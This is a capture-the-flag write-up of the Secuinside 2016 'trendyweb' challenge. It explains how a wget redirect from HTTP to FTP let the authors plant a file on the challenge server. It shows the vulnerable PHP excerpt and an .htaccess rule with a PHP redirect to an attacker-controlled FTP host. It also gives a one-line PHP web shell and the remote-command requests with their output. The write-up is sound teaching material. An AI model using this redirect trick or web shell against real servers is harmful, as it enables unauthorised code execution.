English [Secuinside 2016] [Web 100 – trendyweb] Write up

Description

Trendy~! Web~
The flag reader is on /.

http://chal.cykor.kr:8082
http://52.78.11.234:8082

p.s.
If the download doesn’t work, try this:
https://gist.github.com/Jinmo/e49dfef9b7325acb12566de3a7f88859

and it requires data/ folder

Resolution

This web challenge was pretty fun to resolve, as it involved a very recent vulnerability.
The source code of the only PHP page we could access was given, therefore we started auditing it (here is the gist link).

Firstly, we were interested in both the system and unserialize functions, appearing in the code. Here is an extract of the way they were used:

class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
} }
/* code */
if(!is_file('pickle')) $_SESSION = array();
else $_SESSION = unserialize(file_get_contents('pickle'));
/* bla bla */
if($url['path'] == '/avatar.png') {
    system('/usr/bin/wget '.escapeshellarg($origUrl));
}

If you want to put back in context their use, please check the source file (from now on I consider you know it).

We have some very interesting stuff, it turns out we have to control the content of the pickle file contained in our personal data folder. Maybe could we add an option when wget is getting called ? We are controlling the $origUrl variable.
Thanks to la Nuit du Hack 2016, we had a little challenge to resolve where we had to bypass escapeshellarg. I tried to change the output of wget to pickle by using something similar to http://myserver/avatar.png' -O pickle ', but it so happens that it didn’t work.

We suddenly remembered a vulnerability we had seen on twitter, which was publicly disclosed the day just before. Here you can read an article about it: https://blogs.securiteam.com/index.php/archives/2701.
In our case, the script was downloading an image, and accepted every image parameter in a POST request, where the URI scheme was http, and the path /avatar.png.
We set up a server on one of our personal computers, where we had an apache service running, and a proftpd server on, with anonymous passwordless access allowed. The article says that the vulnerability permits to change the name of the file it is supposed to download, if one can redirect wget to an URI with another protocol than HTTP (supported by wget though).

I had a .htaccess file on the root of my apache server, containing:

RewriteEngine On
RewriteRule ^avatar\.png$ avatar.png.php

avatar.png.php

<?php
header("Location: ftp://MY_IP_ADDR/pickle"); // pickle will be the name of the downloaded file 

The result of the serialization of a MyClass object in the file pickle

O:7:"MyClass":0:{}

The goal was to send a POST request with the image parameter to http://MY_IP_ADDR/avatar.png, which would be redirected to ftp://MY_IP_ADDR/pickle, write the pickle file, which would then be unserialized, and… Ho wait.

if(!is_file('pickle')) $_SESSION = array();
else $_SESSION = unserialize(file_get_contents('pickle'));

If the file doesn’t exist, it doesn’t unserialize anything. Damn it.
We suddenly thought “Why wouldn’t we just upload a PHP script?”. Ho right.
avatar.png.php

<?php
header("Location: ftp://MY_IP_ADDR/rce.php"); // pickle will be the name of the downloaded file 
<?php
system($_GET["c"]);

The rce.php file was correctly created in our personal data/ folder. We had a remote code execution (RCE)! We directly looked at the root of the server:

http://chal.cykor.kr:8082/data/6152b77f6d5e8a2dfd72/rce.php?c=ls%20-la%20/

total 36
drwxr-xr-x.  21 root   root     4096 Jul  9 13:54 .
drwxr-xr-x.  21 root   root     4096 Jul  9 13:54 ..
-rwxr-xr-x.   1 root   root        0 Jul  9 13:54 .dockerenv
drwxr-xr-x.   2 root   root     4096 Jul  9 09:40 bin
drwxr-xr-x.   2 root   root        6 Apr 17  2015 boot
drwxr-xr-x.   5 root   root      360 Jul  9 13:54 dev
drwxr-xr-x.  57 root   root     4096 Jul  9 13:54 etc
---x--x---.   1 root   www-data 6172 Jul  9 08:26 flag_is_heeeeeeeereeeeeee
drwxr-xr-x.   2 root   root        6 Apr 17  2015 home
drwxr-xr-x.   9 root   root     4096 Jul  9 09:40 lib
drwxr-xr-x.   2 root   root       33 Jan 22 07:46 lib64
drwxr-xr-x.   2 root   root        6 Jan 22 07:46 media
drwxr-xr-x.   2 root   root        6 Apr 17  2015 mnt
drwxr-xr-x.   2 root   root        6 Jan 22 07:46 opt
dr-xr-xr-x. 306 nobody nogroup     0 Jul  9 13:54 proc
drwx------.   2 root   root       35 Jan 22 07:47 root
drwxr-xr-x.   6 root   root       90 Jul  9 09:40 run
drwxr-xr-x.   2 root   root     4096 Jul  9 09:40 sbin
drwxr-xr-x.   2 root   root        6 Jan 22 07:46 srv
dr-xr-xr-x.  13 nobody nogroup     0 Jul  9 13:54 sys
drwx-wx-wt.   2 root   root        6 Jul  9 13:54 tmp
drwxr-xr-x.  10 root   root       97 Jan 26 17:48 usr
drwxr-xr-x.  12 root   root     4096 Jul  9 09:40 var

And then:
http://chal.cykor.kr:8082/data/6152b77f6d5e8a2dfd72/rce.php?c=/flag_is_heeeeeeeereeeeeee

1-day is not trendy enough

Nice !
Flag was 1-day is not trendy enough !

PS: for some reason it didn’t flag with this sentence for a while, we thought we had to dump the binary (which was supposed not to be readable), and used this script: http://hkpco.kr/code/hktrace.c. It worked well, but there was nothing revelant in it.
We tried to submit the standard output once more, and it finally worked. WTF happened? We don’t know haha 🙂

Leave a Reply

Your email address will not be published.